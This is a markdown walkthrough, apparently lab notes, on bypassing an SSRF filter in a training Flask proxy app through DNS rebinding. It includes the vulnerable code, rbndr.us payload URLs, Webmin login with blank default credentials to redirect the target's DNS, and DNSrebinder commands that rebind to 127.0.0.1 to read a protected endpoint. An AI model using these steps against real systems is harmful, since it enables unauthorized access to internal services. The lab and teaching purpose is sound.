Skip to content

Latest commit

 

History

History
235 lines (163 loc) · 6.03 KB

File metadata and controls

235 lines (163 loc) · 6.03 KB

DNS Rebinding: SSRF Filter Bypass

After exploring how to bypass flawed SSRF filters with techniques such as localhost obfuscation, DNS resolution, and HTTP redirects, let us now bypass them using DNS rebinding.


Code Review - Identifying the Vulnerability

In this section, we will analyze D-Proxy, a web application that acts as a URL proxy; it allows us to specify any URL, and then it fetches and renders it for us.

Vulnerable Code

D-Proxy has two endpoints, of which one is only accessible locally (/flag):

@app.route('/', methods=['POST'])
def index():   	
    url = request.form['text']
    parser = urlparse(url).hostname
    info = socket.gethostbyname(parser)
    global_check = ipaddress.ip_address(info).is_global
    if info not in BLACKLIST and global_check == True:
        return render_template('index.html', mah_id=requests.get(url).text)
    elif global_check == False:
        return render_template('index.html', mah_id='Access Violation: Private IP Detected')

@app.route('/flag')
def flag():
    # only allow access from localhost
    if request.remote_addr != '127.0.0.1':
            return 'Unauthorized!', 401
    return send_file('./flag.txt')

The Vulnerability: Double DNS Resolution

The web application resolves the domain name twice:

  1. socket.gethostbyname(parser) - for the SSRF filter check
  2. requests.get(url) - to actually fetch the content

This makes the filter vulnerable to DNS rebinding.


Attack Methodology

  1. Configure your domain (e.g., attacker.htb) to resolve to a non-blacklisted IP (e.g., 1.1.1.1) with a very low TTL

  2. Submit URL http://attacker.htb/flag to the web application:

    • First resolution → 1.1.1.1 (passes is_global check)
    • global_check = True → proceeds to render_template
  3. Rebind DNS to resolve attacker.htb to 127.0.0.1

  4. Second resolution (by requests.get) → 127.0.0.1

    • Web application fetches http://127.0.0.1/flag
    • Flag is returned!

Critical: The timing must be extremely precise - DNS rebinding needs to occur between the two DNS resolutions.


Debugging the Application Locally

Setup

Add the domain to /etc/hosts:

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
1.1.1.1 ourdomain.htb

Simulate DNS Rebinding

  1. Set breakpoint before requests.get
  2. Provide URL http://ourdomain.htb:8000/flag
  3. Breakpoint triggers after SSRF filter passes
  4. Rebind in /etc/hosts:
127.0.0.1 ourdomain.htb
  1. Continue execution → requests.get resolves to 127.0.0.1 → flag obtained!

Exploitation

Method 1: Using rbndr.us (Internet Required)

rbndr.us generates a domain that randomly resolves to two specified IP addresses.

Configuration:

  • A: 127.0.0.1
  • B: 1.1.1.1
  • Generated hostname: 7f000001.01010101.rbndr.us

Exploit:

http://7f000001.01010101.rbndr.us/flag

Note: Since resolution is random, multiple attempts may be needed (first resolution must be 1.1.1.1, second must be 127.0.0.1).

Method 2: Custom DNS Server with DNSrebinder (No Internet Required)

For internal networks without Internet access, use a rogue DNS server.

Requirements:

  • Compromise internal DNS configuration (via Webmin, PiHole, PRTG, ManageEngine, etc.)
  • Redirect DNS traffic to your rogue DNS server

Exploiting Internal Webapps

Scenario

  • D-Proxy vulnerable to DNS rebinding on internal network
  • Webmin server on port 10000 (can modify DNS configuration)

Step 1: Access Webmin

Default credentials: admin : <BLANK>

Step 2: Modify DNS Configuration

Navigate to:

Networking → Network Configuration → Hostname and DNS Client → DNS Servers

Set DNS server to attacker's IP.

Step 3: Start Rogue DNS Server

Install DNSrebinder:

git clone https://github.com/mogwailabs/DNSrebinder.git
cd DNSrebinder/
python3 -m venv DNSrebinder
source DNSrebinder/bin/activate
pip3 install -r requirements.txt

Start the DNS server:

sudo python3 dnsrebinder.py --domain attacker.com --rebind 127.0.0.1 --ip 1.1.1.1 --counter 1 --tcp --udp

Arguments explained:

  • --domain attacker.com - domain to handle
  • --ip 1.1.1.1 - first resolution (passes filter)
  • --rebind 127.0.0.1 - subsequent resolutions (bypasses filter)
  • --counter 1 - rebind after 1 request

Step 4: Exploit

Submit URL to D-Proxy:

http://attacker.com/flag

DNS Server Output:

Starting nameserver...
UDP server loop running in thread: Thread-1
TCP server loop running in thread: Thread-2

Got a request for attacker.com. Type: A
------------------------ Counter for host  attacker.com.   1
---- Reply:
;; ANSWER SECTION:
attacker.com.           0       IN      A       1.1.1.1

Got a request for attacker.com. Type: A
------------------------ Counter for host  attacker.com.   2
---- Reply:
;; ANSWER SECTION:
attacker.com.           0       IN      A       127.0.0.1

First query → 1.1.1.1 (passes filter) Second query → 127.0.0.1 (accesses /flag)


Question Walkthrough

Task: Get the flag from the /flag endpoint using DNS rebinding.

Step 1: Configure Webmin DNS

  1. Navigate to http://<TARGET_IP>:10000
  2. Login with admin : <blank>
  3. Go to: Networking → Network Configuration → Hostname and DNS Client
  4. Set DNS server to your tun0 IP:
ip -o -4 a show tun0 | cut -d " " -f 7

Step 2: Setup DNSrebinder

git clone https://github.com/mogwailabs/DNSrebinder.git
cd DNSrebinder/
python3 -m venv DNSrebinder
source DNSrebinder/bin/activate
pip3 install -r requirements.txt
sudo python3 dnsrebinder.py --domain google.com --ip 1.1.1.1 --rebind 127.0.0.1 --counter 1 --tcp --udp

Step 3: Exploit

Visit the D-Proxy web app and search for:

http://google.com/flag

The first DNS resolution returns 1.1.1.1 (passes filter), the second returns 127.0.0.1 (bypasses to localhost).